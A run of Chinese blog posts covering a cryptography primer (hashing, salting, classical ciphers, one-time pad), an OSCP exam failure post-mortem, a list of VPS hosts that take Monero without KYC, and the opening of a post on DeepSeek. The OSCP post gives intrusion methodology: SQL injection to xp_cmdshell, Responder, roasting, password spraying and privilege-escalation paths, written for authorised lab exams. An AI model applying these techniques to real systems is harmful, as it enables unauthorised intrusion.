你收到随机数，把密码加随机数放一起计算hash，像这样hash(密码+随机数)
发给AP验证。AP知道密码和随机数。

这样你还能骗到密码吗？骗不到了吧。随机数是重放的克星，你也不能重放攻击了。
这个就叫Challenge-Response Protocol。AP给你发的就是Challenge，然后你要响应(response)。

思考题：这个简化版本有漏洞吗？

这已经很接近零知识证明了，说到这个…

比特币

你猜比特币挖矿是在干啥？
就是在算sha-256。
区块就是一个公共的账本，但是这个账本怎么被承认有效呢？那就计算hash+一串未知值，加上这个未知值后的hash开头前几个bit必须是0. 多少个0取决于难度。这串未知值怎么来的？那只能暴力穷举。
然后我们认可的账本（区块）必须是那个消耗算力最多的。如果有人想伪造账本，那么他必须算力巨大，超过很多人才行。

重点！！！注意安全！！！

用加盐(salt)对抗破解：你可能注意到我之前给的比如cmd5的网站提供破解服务，因为cmd5提前计算了大量消息的md5，所以你只需要输入某弱密码的md5值，就能查询到它对应的密码。怎么应对呢？在计算用户密码的hash前可以给他密码加一个字符串再计算hash。这个叫做加盐(salt)，强行让密码变得复杂。这个就不好查到了。当然，md5已经过时，不要再用了。
多次迭代对抗暴力破解：hash算太快也不是好事。这样暴力破解太快了。现在一台普通的电脑计算md5的速度可能是10亿每秒级别的。为了对抗暴力，我们可以套娃。md5(md5(md5(…)))这样迭代个1000次来储存用户密码，能让别人暴力破解增加1000倍的工作量。当然咯，干脆别用md5了. 看下一条
像php中对于用户密码完全可以用bcrypt而不是md5，它自带salt功能。bcrypt自己就有多次迭代增加算力消耗拖延计算时间对抗暴力破解的能力。
不要再使用md5和SHA-1: 你可能注意到为什么我用了“几乎”一定不同和“大概率”不同。因为输入的信息长度不限，有无穷的可能。但是输出的长度是固定的，意味着输出的可能是有限的。所以必定会存在hash值相同的输入。但是非常难以遇到。比如对于sha-512进行穷举尝试碰撞，目前看需要百亿年。但是md5用现代的计算能力，可以比较省力地构造出相同的值。

严肃的说法

当然这是比较严谨且学术（枯燥）的说法

pre-image resistance: 有$h(x)$ 但是无法推算$x$
collision Resistance: 构造不出$x_1, x_2$使得$h(x_1)=h(h_2)$
second preimage resistance: 已知$x_1, h(x_1)$但是无法构造$x_2$使得$h(x_1)=h(h_2)$

而且md5, sha-1,256,512 这些都有被扩展攻击的问题。你不知道x，只知道h(x)但是你可以伪造任意的h(x+k)。使用时你可能需要考虑到这个问题。

在下一章节我们会谈论对称加密的古典加密方案

简单密码：写给程序员的密码学入门（三：古典密码，从凯撒到OTP）

1716412868

讲到加密，就不得不想想它的历史故事。加密其实没有那么简单。

从凯撒位移说起

这个恐怕是最有名的古典密码了。怕观众不记得，给各位复习一下：
其实就是把整个字母都往右边移动了几位，至于几位这个就是密钥。很明显26个字母你只有25种移动方法，还有一个就是原来的样子。
比如下面这就移动了6位。

明文字母：ABCDEFGHIJKLMNOPQRSTUVWXYZ
密文字母：GHIJKLMNOPQRSTUVWXYZABCDEF

比如我想加密“BOB”那么就找对应的就行，B对应H，O对应U，结果是“HUH”.

它的缺点在哪里？很明显：

总共也就25个不同密钥，每个都试一试，结果肯定能出来啊。
统计学。根据字母出现频率，比如 E 在英文中出现频率极其高，那么我们只要分析哪个字母出现频率最高，它很有可能就是 E 。只要有足够的密文就会让统计更加准确，就有可能破解。

这个网站就可以做频率分析：http://quipqiup.com/

当然以上还是我们在只有密文的情况下,我们已经可以对密码分析。

实际情况，可能攻击者已经知道了更多…

比如一部分密文对应的明文，甚至可以接触到加密或解密的机器（程序）：
比如黑客已经知道“HELLO”加密后是“NKRRU”，那么可以很轻松的推断出位移（密钥）
如果黑客能接触到密码机呢…黑客输入“AAAA”出来了一个“DDDD”这不一眼就看出来密钥了嘛？

这里就引入根据攻击者知道的信息由少到多，对攻击的分类：

唯密文攻击：攻击者仅知道密文
已知明文：攻击者知道了部分密文相对应的明文
选择明文攻击：攻击者可以随意使用密码机生成密文，试图分析
选择密文攻击：攻击者可以随意用解密机解密密文，试图分析

所以加密算法必须抗住选择明文和选择密文才算行。
如果都拿到密码机还分析不出来，那么就更不可能已知明文，或者仅仅根据密文就能破解。

而凯撒位移甚至连唯密文都抗不住。呃…只能说是娱乐水平的了。千万别用！

Enigma机

其实简单的理解这玩意儿，就是：每次输入都会换偏移量的凯撒位移机器。

这玩意儿在当时给盟军破解造成了很多困难。但是在早期，波兰人找到办法通过已知德军明文中的重复规律（已知明文）大大降低了暴力的复杂程度。
而后德国人也不傻，随着开战，直接加俩转子，可能性翻几倍后，把波兰人整不会了。波兰在被拿下之前把这个技术给了英国。英国又发现，一个字母不可能在加密后变成它自己的特性，而恰好德语一个词又很长，所以能大概猜出这个词的位置。这又降低了可能性。

注意安全！！！

我在第一篇文章讲过，不要搞自己的加密算法。
绝大多数人发明的密码不会比Enigma更好。

我来举一个反例：

这里他用This is my coat.经过他的算法得出jZubpd!zn!tj!tiU
思考题：你能猜出他是怎么加密的吗?(提示：观察感叹号，还有周边字符数量)
这是已知明文了。
如果你猜出来一大半（因为这里信息未必够）那你就已经超越他认为的顶尖黑客了。
但是对于他开发的别的web项目，由于你能接触他加密脚本，那就是选择明文。只会更加不安全。

异或和OTP

你或许听过异或(XOR) 符号： $\oplus$ 是一个特别安全的加密…

从异或开始说起

给各位复习一下，我们先看看xor这个逻辑吧

xor	0	1
0	0	1
1	1	0

输入都是0或者都是1的时候，输出就是0. 但是输入一个0和一个1的时候，输出为1.

啊那为什么xor特别安全呢？

你会发现这个逻辑输出0和1的概率是均等的。也就是说，只要我们密钥概率足够随机，那出来的结果0和1也是随机各占一半。这样密文对于统计，统计不出什么啊。由于密钥随机，完全消灭了明文的特征，使得密文就像随机数，仅有密文的话目前认为不可破解。

而加密的过程也非常简单：明文 xor 密钥 = 密文
解密： 由于相同的东西经过xor会抵消，(密文) xor 密钥 = (明文 xor 密钥) xor 密钥 = 明文

这么好？那为什么我们不这样用xor加密？

别急，因为有缺陷，我们过一会讲
此外，其实有用，这就是OTP了

OTP（一次性密码本）

因为这玩意儿有xor的安全性，这是当年华盛顿-莫斯科电话专线的加密方式。也算是古典密码的高级玩意儿了。

那它是怎么做的呢？

密钥：你需要一个至少有明文长度那么长的随机并且一次性的密钥
异或：一位一位地让密钥和明文xor

就这么简单！

比如我们想加密“HALO”
先转换成二进制：H(01001000) A(01000001) L(01001100) O(01001111)

明文：01001000 01000001 01001100 01001111
密码：11011001 00100010 00101011 11111010 
---------------------------------------------------------------------
密文：10010001 01100011 01100111 10110101

单纯的OTP现在不常见了。我之前说它的缺陷：

你很难找到一个足够长并且足够随机的一次性密钥

长：如果你要加密1G的数据，那么你的密钥也必须有1G。啊，这还怎么玩？这1G的密钥你打算怎么给对方？

随机：随机其实很难。比如你有0到50这个区间的真随机数，现在你想把它乘二扩展成0到100区间，可以吗？

不可以。不然你得到的都是偶数。其实并不随机。

很多时候我们都是在用伪随机的。不信你开个python，用一样的随机数种子，你会发现出来的随机数是一样的。还有很多时候，很多人用时间戳当种子。如果我知道这个密钥是什么时候生成的，那么我也可以得到和你一样的密钥。

用操作系统的随机数发生器会好一些，比如/dev/random和/dev/urandom。前者质量好但是会不够用。后者质量略差但是够用。

一次性：xor的密钥必须一次性。如果有重复的话，带上已知明文，是可以获取到密码的。如果就算没有明文，我们依旧可以得到点什么。

前文说过，由于相同的东西经过xor会抵消
明文 xor 密文= 明文 xor (明文 xor 密钥 ) 这里明文抵消，直接得到密钥。

那么密钥因为重复而相同，但是不知道任何明文会怎么样呢？
密文1 xor 密文2 = (明文1 xor 密钥) xor （密钥 xor 明文2）= 明文1 xor 明文2
这里密钥会抵消，留下两个不同明文的xor。这有什么用？看图：

(图片来自： https://www.crypto101.io/ 的pdf的一段。这书很好。)

OTP留下了什么?

人们一直在想方设法改进OTP的缺点。因为他优点实在是…太香了。
那么它的缺点可以解决吗？
比如，我们可不可以根据什么方式生成足够长，足够随机的密码…

现代密码的流密码（stream cipher）就是这种思路。就像溪流一样，密码和明文源源不断地流进去，密文流出来。而流密码的重点就在：我们如何生成OTP的密码。

比如：通常人们用AES作为块加密，但是谁说AES不能作为流加密？

这是AES-CTR，你会发现这里的AES只是用key去加密随机的 Nonce和计数器(Counter)，AES产生的密文将作为一个类似随机数的东西，去和明文(Plaintext)异或得到真的密文(Ciphertext)

注意： $\oplus$ 是xor

(图片来自：wiki 公有领域)

而到了这里就已经逐渐步入现代密码学了。

OSCP考试的一些经验教训：我是如何失败的？学到了什么？该怎么准备OSCP？

1722261773

更新：这是2024年8月份的OSCP.此时还有Bonus, 还没有推出OSCP+. 考试内容和难度可能改变。

本文曾经简单总结OSCP Challenge lab中的一些教训。~~和应试技巧~~。比较零碎。

今天考了OSCP，挂了。那我更新（更正）一下。我要把我耻辱的失败经历分享出来，挂互联网上。

我相信你们看过很多文章，标题诸如“我几个小时通过了OSCP”
所以我要发一个我如何24小时挂了OSCP

也是一个忠告，千万不要已mock exam衡量你是否能通过考试。你的经验和知识应该完全高于教材。考试可能会用到你平时没用过的工具，遇到教材里从未出现过的场景。

这么说吧，曾经，本文总结的应试技巧部分没有任何作用。考试考下来，甚至都没有出现SQL注入。几乎所有web服务都不是获取立足点的地方。请各位都不要学我，试图当一个做题蛆开始总结套路。

如果你这样，你只会被出题人套路。

那我就把这篇文章标题和内容修改一下，我把我自己钉在耻辱柱上。然后，我来谈谈：

我是如何失败的？考试之前

我毕竟没有脱产去把100%的精力压在OSCP这件事情上面，教材很轻松刷过了拿了Bonus。太麻烦的我就没再去做了，比如chisel那些工具使用，内容重复，精力不够的情况下做这个没什么意义，80%就好了。

考前几天做Challenge lab做到过拟合，换句话说就是惯性思维很重。我觉得我写出之前应试技巧的文章就是最好的表现。可以说这种惯性思维可能毁了整个考试。

尽管官方说明OSCP-A,B,C三套lab是mock exam，但是只有结构像。思路和难度不一样。
（下文我会说模拟考试，mock exam，都是指Challenge lab里的这三套题。）

先说说我的mock exam吧。

我的OSCP-A的AD域是去看了提示的，那个时候还在找手感。
OSCP-B我已经可以独立在4小时内拿到合格分，带上stand alone那些机器总共12小时全部拿下。而后把OSCP-C留到考试之前。
OSCP-C的AD域我已经可以自己2个小时解决了。带上stand alone和bonus。当然stand alone总是有简单的，所以就是AD+一台stand alone+ bonus，达到通过分数。总共可以在3到4个小时之内完成。

这三个mock exams的AD基本上都是一个套路：
第一台机器通过web或者一个明显的有漏洞的服务可以轻松拿下，搜集信息，提权，拿到域用户，接下来喷射或roasting。而后的提权也就教材上的几种套路而已。甚至我都有比教材更快的方法提权。
以上重复几次可轻松拿DC.

简单地说，就是我当时已经觉得顺风顺水了。
当时觉得我6个小时绝对可以通过OSCP。拿下DC，stand alone根本没在怕的。毕竟之前也打过一些HTB和好几年的CTF。经验还是有的。
Stand alone似乎有知识点侧重或者难度梯度。反正我个人感觉难度不同。
我想我三台打两个应该没问题。
所以，考试之前，我是信心满满。

我当时还和朋友聊medium上一个国外老哥说他有CISSP结果怎么还考了三次OSCP。

现在看，我就一傻逼。整个互联网，记住我我是大傻逼。

考试过程：

一上来就冲着AD. 遇到了一个有J***sweb服务的AD域。
对着J***s搞了将近四个小时，根据以往经验一通操作，试了无数exp，不断扫描，爆破。

四个小时，毫无结果。

我已经有点慌了，
因为按照套路应该是exp或者注入直接踹开大门，平时4小时怎么也摸到DC了啊，怎么能没有结果呢…

感觉不对，所以申请休息，做了调整。换思路才开始向正确的地方走。

细节要保密就不说了。反正还是枚举，破hash，凭经验猜测，roasting，Bloodhound冷门ACL，最后密码喷射，环环相扣。这里一步一步十分顺利，日常有训练。但是难度完全高于教材和mock exam，工具并非像模拟考试中用的一样简单，机械。需要有一定经验积累才能应变。花了大概三个小时。然后拿下域第一台机器的local。（对我没写错，这一通操作只是为了拿了一个local。）

我第8个小时拿下第一个foothold. 然后接下来才开始真正的折磨：提权。

whoami /priv几乎没有权限
几乎没有哪边可写
winPEAS告诉我，服务，绿的。任务计划，没看到什么可以利用的。
没有找到太多有趣的文件

所以应该不是教材里的经典提权技术。

其实一开始我就一直怀疑和某个(另一个)用户有关，而后再搞j***s系统，但是就卡这里了。现有的用户对于j**s是只读的。我第一反应是读个hash爆破成不？是bcrypt，哈哈，这还破个毛。尽管如此我还是尝试用了一些精选字典，已知密码+rules但是无果。

可能线索在另一个用户身上？但是没弄成。
期间我还尝试了启动项，注册表这类的提权方法。但是OSCP应该不会安排这种。当然结果也没成。

（后补：的确和另一个用户有关。其实当时直觉和思路没问题，但是用到的那个工具是我的知识盲区。我不知道如何在有UAC限制的情况下搞。其实我考试的时候已经找到并且试图去用那个工具了，但是可能熬太久了脑子不好使，当时没用对。参数都写错了，然后就一直以为这条路不通。）

（另外，我印象中教材没有详细说过这种提权技术，而是在另一个模块一笔带过了。）

就这样盲目尝试，6个小时以后我撑不住了，脑子里只有机械的重复。天快亮了。所以我和考官说我要去睡觉。我毕竟早上七点起的床，下午才开考的。我已经连续醒了20+小时了。
睡前我有一种溺水的感觉。物理意义上的。我觉得我溺水了。

而后睡了4个小时，闹钟叫醒醒了，但是巨难受。头痛想吐，眼屎糊着手机屏都看不清。所以又补了1小时，好了不少。但是感觉脑子没那么好用了。

我听到脑袋里的声音，感觉败局已定。

这个时候距离考试结束没有多久了。我又试了试AD域，然后打算放弃（其实对于我来说等于放弃考试了）去看看stand alone. 结果又被FTP坑了。匿名登录成功，但是被动模式几乎不通，直接换主动模式, wget，但是下载下来的文件大多数又是损毁的。（后面发现可能是出题人故意的，那些文件本就是损毁的）

反正又纠结了一两个小时（我也不知道我在想什么）。趁着最后三个小时拿了俩Stand alone。有一个stand alone倒是挺简单，另一个有CTF味。

结束前半个小时也不打算做第三台了。虽然破解出了个什么但是还是没拿到local，当时也没思路，时间不够提权，拿不拿也没意义了。

最后十分钟和考官说了一句谢谢，聊聊天，然后结束考试。

报告是不想写了。写了也没有意义。

总结

惯性思维浪费我了精力最好的4个小时。路子行不通就该换。
我这应变能力算强还是算弱？我自己只能说不够强。
时间安排不好，对AD域太执着。放弃AD哪怕给Stand alone多两个小时可能还有救。
windows训练太少。或者说有点难度windows题，少了。平时训练几乎都是Linux，但是考试中绝大多数机器都是Windows。

经验和教训

域

Challenge Lab的mock exam难度和OSCP考试是两回事。
一定要多打AD靶场，打很多AD域一定要非常熟悉域枚举。
对于我个人而言要多训练提权。Windows和linux都要练习，但尤其是Windows。毕竟域压在这上面，可以说你对windows的经验决定了你能不能过OSCP。而我去年玩HTB打的绝大多数机器都是Linux。
多种常见web服务和某些数据库的玩法可能要提前熟悉。
刚开考的黄金时间可以放在这里，但是不行的话要果断放弃，给stand alone保留时间。

Stand alone

给stand alone保留12小时（不包含睡眠）。如果你有Bonus而且AD域的确不好搞，应该去尝试去拿下全部stand alone. 因为就算你AD域花了4小时解决了一个提权，但是这不代表你就拿到域控了。而4小时给Stand alone提权确确实实有可能拿到proof有10分。
FTP传输文件慢考虑换模式。文件损毁直接问考官。大概率是故意的，但是还是要问。
基本就是靠枚举和猜测。有人说落脚点很难找，其实我觉得还好吧…比HTB简单…
同样，多种常见web服务和某些No-SQL之类的玩法可能要提前熟悉。

训练

我觉得我应该直接订阅他们的PG(靶场)。TJ Null给出的HTB可以作为补充，但是最后可能还要回归PG。毕竟PG也是他们搞的东西，有人说出的题像。我从一些说法中感觉他们是方法论上的差别。PG的方法论和手感更接近OSCP。
Reddit上有人质疑TJ Null给的HTB列表是否有用，我只能说谁打了谁知道。HTB和OSCP的确有区别，但是这也的确训练了你的应变能力。此外，还能帮你见识见识一些所谓的常见应用。(（咳嗽）暗示应该点到为止)
Challenge lab一定要打，至少为了Bonus你也要打。但是面对考试别把Challenge Lab的经验当回事。虽然Challenge lab还是能帮你找点手感的，但是，打得顺利代表你学得不错，但不代表考试能过。（当然现在据说Bonus被移除了）
训练卡半个小时后，我觉得看一眼答案没问题。但是一定要搞明白为什么这样弄。但是答案不应该提前看。不然对训练自己方法论没太大好处。

考试和之前的准备

尽量不要把考试选在你醒来的6个小时以后。
准备一个USB摄像头。考试前要检查桌子和房间。笔记本双屏+线多可能很麻烦。
安排睡觉时间。因人而异。
硬件的话推荐内存至少16G+
推荐用kali，但是我kali基本只是用来运行CME的。非kali有些工具版本可能会给错误结果而且不报错，误导人。

还有，考试前问问自己：
你有有效的方法论吗？
你有有效的方法论吗？
你有有效的方法论吗？

你看着一个开了七八个端口的机器的扫描报告后该做什么吗？
你知道你拿到落脚点后，你应该做什么吗？
你知道你应该枚举/检查哪些东西吗？
你知道你在拿着一个有着复杂的web应用，数据库，一堆用户的windows shell的时候该做什么吗？

你确定没有遗漏吗？

考试只有24个小时。很忌讳因为枚举不全而钻牛角尖。

另外

结束以后去看了Reddit的讨论，众说纷纭，我不能得到一个确切的结论。
所以我就总结一下我听说的舆论给各位看看：

AD域考试难度不一致：有人考了几次，发现AD有难有易。
有人打了三个stand alone直接没管AD，过了。
有人说23年9月以后题目变难（没有证据）
有人说j***s是地狱难度AD（感觉不止一个j**s题）（你当我自我安慰吧）。
还有一些比较阴谋论我就不说了。

所以呢？做好准备吧。谁知道你会抽到什么题目呢？不要心存侥幸。
不然的话，看看价格。

考试冷静期并不短，也并不长，但是考试贵。虽然补考和别的很多考试价格差不多。

啊，还有，如果你还没开始搞OSCP：

硬件上面内存8G我觉得不够，16G不算多。官方有自己的说法，但是如果你要有bloodHound CE那么16G都不算多。
暴力破解hash上面如果破解不出来就真的破解不出来，别想了。
如果有破解，不需要GPU应该也能快速破解。
因为很多密码基本是rockyou里选的（不负责任的一句话，总之就是会很快）。

再说一遍，推荐用kali 。

送一张有帮助的图，域渗透的思维导图，感谢作者：
还有v2版本但是看着没这个清爽，我就放这个了。我记得还有一个中文版但是找不到了。

接下来我打算做什么?

我本科还没有毕业，最近我不打算再搞OSCP了。我生活/生存上还有一堆事情积压着要去解决。
但是我可能在周末会继续搞HTB之类的。
会搞个PG打打。PG是OSCP官方的，据说更加接近OSCP题目。
但是，我没钱了。找个工作吧。

买了四瓶啤酒，考完试我睡不着。

我的中长期目标就是OSCP。以后？可能会是OSCE3？也可能不搞这行。

近期目标：

活下去
我要钱
至少熬过大学。

如果你已经看到这里了，祝你考试顺利。别像我一样挂了。

原文

永远枚举。永远积极试探。广度优先搜索。

有些端口Nmap也不知道是什么。nc连上去，随便发一些字符串，version,help什么的。看回应。说不定是一些有漏洞的冷门服务。
眼瞎，扫描报告里在高端口号上有一个ftp，死活没看见。白费一小时。没思路记得看一眼扫描。
linpeas其实已经告诉你了，自己却偏要花时间慢慢摸。
exp用不了？简单看一下为什么，有时候直接放弃不是坏事。可能别的地方有路。有时候利用成功没有shell，可能也是刻意这么设计的。出题人就想坑你一下，嘿嘿。
目标暴露的pdf里面提到了一款软件，其实靶机有运行。但是自己就是没有去搜索这个软件的exp。
看见域名，记得改hosts。尤其对于一些http服务。如果没有思路，一定记得改。高端口的windows HTTPAPI居然也能藏东西。域名有时候是通往下一步的钥匙。
区分验证方式！！验证有时候是windows本地进行的，有时候是DC进行的，这不一样！！
有时候信任CrackMapExec但是被它坑了不止一次。或许是我不熟悉这个工具吧。

我自己写的小工具：AntRecon
考试前，为了OSCP专门做的侦查工具，未必优雅，但是能用。
功能：

你不需要记住复杂的参数，只针对单个目标，直接加个IP地址就行。
nmap TCP全端口，服务识别，自动web侦查枚举。
nmap UDP部分端口扫描，针对OSCP教材比如smtp那些并且进行一些常见用户名称枚举。
自动搜索searchsploit。结果未必可靠，看你经验了。
最后生成一个Markdown的报告，方便查看和做笔记。
在kali上通过测试(就，反正kali上能用)。
保留一定的扩展可能性。

但是缺乏域枚举能力。以后考虑加上。

机器上面会有一些非常刻意设计的进攻路径

比如你拿到了一个普通用户shell，无法提权; 又看到一个只能靶机自己访问的http服务，发现有LFI。虽然很不想相信这点，而且我一开始的确就无视了这些，但是，从LFI到getshell到提权，这真的是一条路。www-data居然可以任意sudo

每次都一知半解的去读id_rsa，但是其实还有id_dsa, id_ecdsa。还有别的很多东西。

你应该用kali：

首先我用的不是kali
曾经解决了一个问题。ssh2john转的hash有问题, hashcat破不出来。因为我这里版本太旧。我一直翻到ssh2john源码才发现这里有坑。但是kali没有这问题。
crackmapexec有时候也有奇怪的问题。比如rdp不成功。懒得解决直接用hydra去了。
Bloodhound CE吃巨多内存。当然这个和kali无关。
我有试过用Empire。但是感觉就那样。docker下很多功能有问题。上传文件还有大小限制。唯独跑枚举脚本，开个新shell挺舒服。官方没有禁止别的开源，非自动，非商业c2，但是感觉有时候又大材小用了。

转发和穿透：

ligolo-ng和ssh就够用的很开心了。ligolo-ng熟练以后比官方教的那个chisel好用太多了。

通用

有服务，没思路，结果又不对？回去看教材。当然考试遇到这种情况通常迟了。
如果，你在一个思路上遇到问题，在解决的过程中花了半个小时，立即，放弃这个思路！这个思路很可能就不对！
不要假设一定某服务就有某个问题，不要假设某个服务一定有那个exp，不要假设某个linux内核一定能用那个exp！不行？退一步。

AD域的套路和应试

说好听点叫：~~OSCP方法论~~
我不能保证一定有效，写这篇文章的时候我还没考试。
这些都是我打Challenge Lab后总结的。

目前都只是猜测，你看着乐一下就好：

目标是windows，有web：

~~- 因为官方不许用sqlmap所以应该会简单。所以：~~

看到登录可能就有SQL注入，如果有，并且ASP.NET，那么大概率就是mssql，而这通常只可能是堆叠+xp_cmdshell走RCE。不太需要担心更复杂的SQLi。一切操作都是教材中的内容。
~~非常建议把xp_cmdshell开启的命令保存，Burpsuite到时候直接导入跑一遍。~~
不是SQLi？Fuzzy一下。Fuzzy经常能给你一些惊喜，尤其是你觉得web输入框很可疑但是又不知道哪里有问题的时候。 web看到会远程访问的输入，那就试试Responder。反正AD域中总是很快给你落脚点。

~~嗯…如果还是没啥东西，就看看别的端口上的服务了。看看能不能下载到什么。web路径爆破再看看？~~

估计是官方AD域为了不要太难，耗时不要太长，考点设计和路径长度应该有限：

~~所以大概率可以用xp_cmdshell这些简单方法踹开大门后：~~
- ~~第一步，永远whoami /priv。为了限制耗时，感觉出题人有可能在这里就埋了答案。~~
- ~~留意c:\，进行一定程度的搜索。出题人经常会埋一些有趣的东西在这里。而后：~~
  - ~~通过计划任务~~
  - 服务
  - ~~DLL劫持等手段提权。~~
  - ~~但是推荐先WinPEAS看看。~~
DLL劫持官方是要你用工具监控DLL的调用，但是我偷懒直接都是strings然后搜索DLL。
永远记得找密码，看用户，永远记得搜集信息！到处翻翻！
有时候smb空会话依旧要求验证。手动试一下。工具未必靠谱！！！

更新：

考了，挂了，这个经验没用。

横向移动：

之前记得扫描一下内网机器。当然总共就三台，拿下第一台后下一步是哪一台？可能是DC吗？你觉得呢？我不好说。

Rubeus,exe
密码喷射
SharpHound，虽然通常不需要，但是不用这个感觉写报告有点麻烦。各种Roasting你都猜出来的？当然别的工具先斩后奏也不是不行。

以上这些都在教材里面。重点复习和操作，锻炼感觉。
然后呢？就没有然后了。开开心心拿Proof吧！

目标是Linux的独立机器

这个就很复杂了，没什么太多应试套路，基本都是出题人在套路你了。

还是那句话，不要错过任何报错信息，不要错过任何端口，未知端口必须nc看一下，敲敲version, help之类的。

任何信息都可能至关重要，很多时候只是一个暗示！但是只要你没当回事这题你连落脚点都拿不到！

实际上可能只需要你searchsploit跑个exp就能拿下，但是你就！是！想！不！到！

提权没啥好说的，跑linpeas之前，我喜欢sudo -l 看一眼，但是通常，也不会这么简单。

另外，发现一个现象，需要你编译exp的，目标上一般有gcc。linpeas.sh跑完没思路？看看有没有gcc。如果有，可以考虑一下方向：提全可能需要编译的exp。

别的操作系统

不排除这个可能，建议最后有时间弄。
因为可能会花费大量时间和精力在研究我如何操作一个操作系统的事情上。

其它

web等的有编码问题，蚁剑有时候对于命令执行也不能正确转义。需要注意单引号双引号转义。但是蚁剑传输文件贼爽。

会一点linux bash shell脚本编程会爽。

工具可能不好用。crackmapexec的某些功能可能不好用。比如RDP。
RDP喷射用Hydra
有些工具RDP也会误报，比如这个帐号所有机器全都能登录。为什么呢？因为不兼容域。域会说，你密码对了，但是你没有权限RDP这台机器。结果有些工具只听到前半句了。

Powershell-Empire我用了最新版，时间长了发现在考试场景中很鸡肋：SharpHound版本不兼容。几个自带的工具貌似也用不到。UI操作点点点很麻烦。信息搜集？上一个winPEAS比他全。域？上SharpHound。roasting？上Rubeus。转发？它用chisel. 我用ligolo。我一开始就想让它帮我处理文件上传下载的问题，但是文件传输大小又有限制。

谈谈Monero门罗币匿名生态应用：支持XMR匿名购买的VPS

1734592772

当你找到这篇文章，应该都多少对门罗币有点了解了。
匿名？隐私？臭名昭著的矿马？快成稳定币的价格？交易所人人喊打不断被下架？
今年LocalMonero关闭，币安也下架了Monero。
令人唏嘘。

简单说一下这个东西吧，它设计的目的就是可以当现金一样，尽可能隐藏流动痕迹。

Monero有三宝：

环签名构造的公钥让发送者隐藏
RingCT隐藏交易金额
接收者实际上每次交易都有一个不同的收款地址。

简而言之就是难以追踪。

而为了区块链整体的安全Monero又用了抵抗ASIC的算法作为PoW，目前是RandomX。通过大量代码分支和在一大块内存(没记错是2G)中随机访问让ASIC变得不划算，从而避免算力垄断(结果都是黑蒜矿马满天飞，而且算力都集中给矿池了是吧…)

我原先打算重点谈谈Monero在隐私保护方面的应用，把它放到隐私保护系列去的。

可能计划谈谈Monero交易所现状，但是我知道的不多，没啥好说的。
谈谈Monero生态里匿名购买手机号，手机卡，代理等等的应用。但是考虑到各种问题，我大概会放弃编写这些内容。

可能最实际的还是购买VPS吧。毕竟手握一个匿名IP还是挺有意思的事情。

支持Monero支付的匿名VPS

首先声明，我并没有每个都尝试过。这也是我头一次写这种东西，没啥经验。
顺序不代表推荐程度，我是想到哪个写哪个的。
我会详细介绍几个我比较熟悉的，但是他们未必是最好的选择。

我会尽可能介绍他们的特色，价格，顺便会用wayback machine看他们首次收录的时间来帮助你推断他们跑路的可能性。当然跑路了我也不负责哈。

如果链接存在推广我会告诉你。

KYUN

链接：KYUN （没有推广链接，他们也不提供）

我第一反应是他们网页做的不错，价格也便宜。反正就玩玩…买了
目前最低配 1u 512Mb 10G的配置3.28EUR/mo，大概3.4美元那样。huh。
增加到1G ram也就3.56EUR，非常非常便宜。

提供：

目前服务是VPS，另一个容器服务一直没上线

提供：

美国机房 Spokane
罗马尼亚机房 Bucharest
一个kyun.li的子域名

付款方式：

Monero (如果使用Monero充值会送10%)
Stripe

KYC：

不要邮箱，你付钱就ok。没有KYC。

如果选择低配主机价格非常的便宜，但是带宽不怎么高。后期可以对配置进行更改。提供IPv4/6
对于流量来说有一定限制。他们不喜欢你搞VPN。虽然后台可以自己限制网速，但是就算自己不限制也快不起来。
Anyway，对于一个小鸡来说完全够。如果你只是想要匿名的IP，顺便VPS跑一些无关痛痒不要求配置的服务，这个我想完全足够了。

我在这里有一台小鸡，用了一段时间了。
他们应该在罗马尼亚，根据Wayback machine和官方博客考究了一下他们比较新，在2023年左右才启动。

我也想把网页做这么好…

Cockbox

链接：Cockbox (注意，这个链接含有推广)

全站恶俗，貌似老牌。尤其是用户感言，非常有特色，不得不提他们。
用户感言是随机刷的，我按爆了F5，这截图里是唯一一条中文的。
我：~~鸡掰盒子，真的鸡掰~~

提供的机房主要在罗马尼亚，也有Moldova机房的。
最低配置0.5u 1G ram 15G硬盘。10刀乐一个月。

支付：

monero
BTC
仅仅支持上面两种。

根据wayback考古能追溯到2019年。应该也在罗马尼亚。

SporeStack

链接：SporeStack （鼠标放上来，哈哈也有推广）

当然咯，这个是比较老牌的了。他们主要是通过调用Vultr和Digital Ocean的API来在Vultr/DO创建主机。
他们价格肯定也更贵。比Kyun贵。但是你的选项也很多。
但是我想宽带和稳定性可能更好。

最便宜的机器1u 512mb 10gb配置的0.5T带宽, 7.5刀一个月。DO的机器。

提供：

VPS
spore.garden的子域名

接受付款：

Monero
对，只接受门罗币。

KYC：

他们会给你一个Token，这玩意儿就是全部了。忘了就没了。等于没有KYC

根据wayback考古能追溯到2016-2017。讲道理他们应该不太可能跑路。反正他们没机房。

INCOGNET

链接：INCOGNET （没有推广）

这家，相比于之前的，感觉更老美。
所以看起来提供的服务就比较多。

提供：

域名购买
建站
荷兰和美国的VPS/专用服务器
WireGuard VPN代理
可能还有，但是我眼神不好。

他们的理念是：我就做我技术的事，没那么多屁事。
价格便宜不贵而且选择比较多。但是最便宜的套餐目前可能都要一买一年。

付款：

Monero，BTC，LTC等等，貌似也内置兑换接口来处理更多虚拟货币。应该支持USDT-TRC20
Paypal。
可能也支持信用卡。

KYC：

邮箱，基本上等于没有。

wayback: 2021年上线。

其他的

这里单纯就是不熟，并非他们不好。写文章的时候我也没深入了解他们。个别我觉得还是有潜力的。你们自己看着玩玩吧。

这里不会有任何推销链接

ServersGuru：便宜，不限流量，说有DDOS保护。付款方式很多。
MyNymBox: 主机域名VPS，价格还行。
NiceVPS：提供的服务类似INCOGNET，价格贵了点。
OrangeWebsite：建站和VPS，贵。
UDN: Ukrainian Data Network：VPS/专用，价格还行。但是UI基本没有，想买问客服。

从DeepSeek开始，再瞎扯一次AI(LLM)

1738374553

纠结了一下到底写不写，这个话题目前看争议挺大的。这篇文章会在草稿箱里多呆一会了。等到风头过了，我再发。
我不是什么AI专家，文章有主观感受内容而且非常不严谨，你们看着乐一下就好。

回顾

虽然用了很久的chatgpt，但是已经有很长时间我没有太关心LLM有什么新消息了。
比较巧合的是，我前段时间大概一月中旬才开始真的“再次”接触LLM（大语言模型）。正好撞上了DeepSeek r1 发布。

上次玩的时候，貌似还是LLAMA才发布后不久。当时费好大劲跑了一个llama 大概7b大小的模型，那个时候的模型文件巨大无比。而且那时候的LLAMA貌似中文很差。英文和中文对话的智商不是一个水平的。
后来看到有不少人给模型做测试只用中文我觉得似乎不是特别公平。

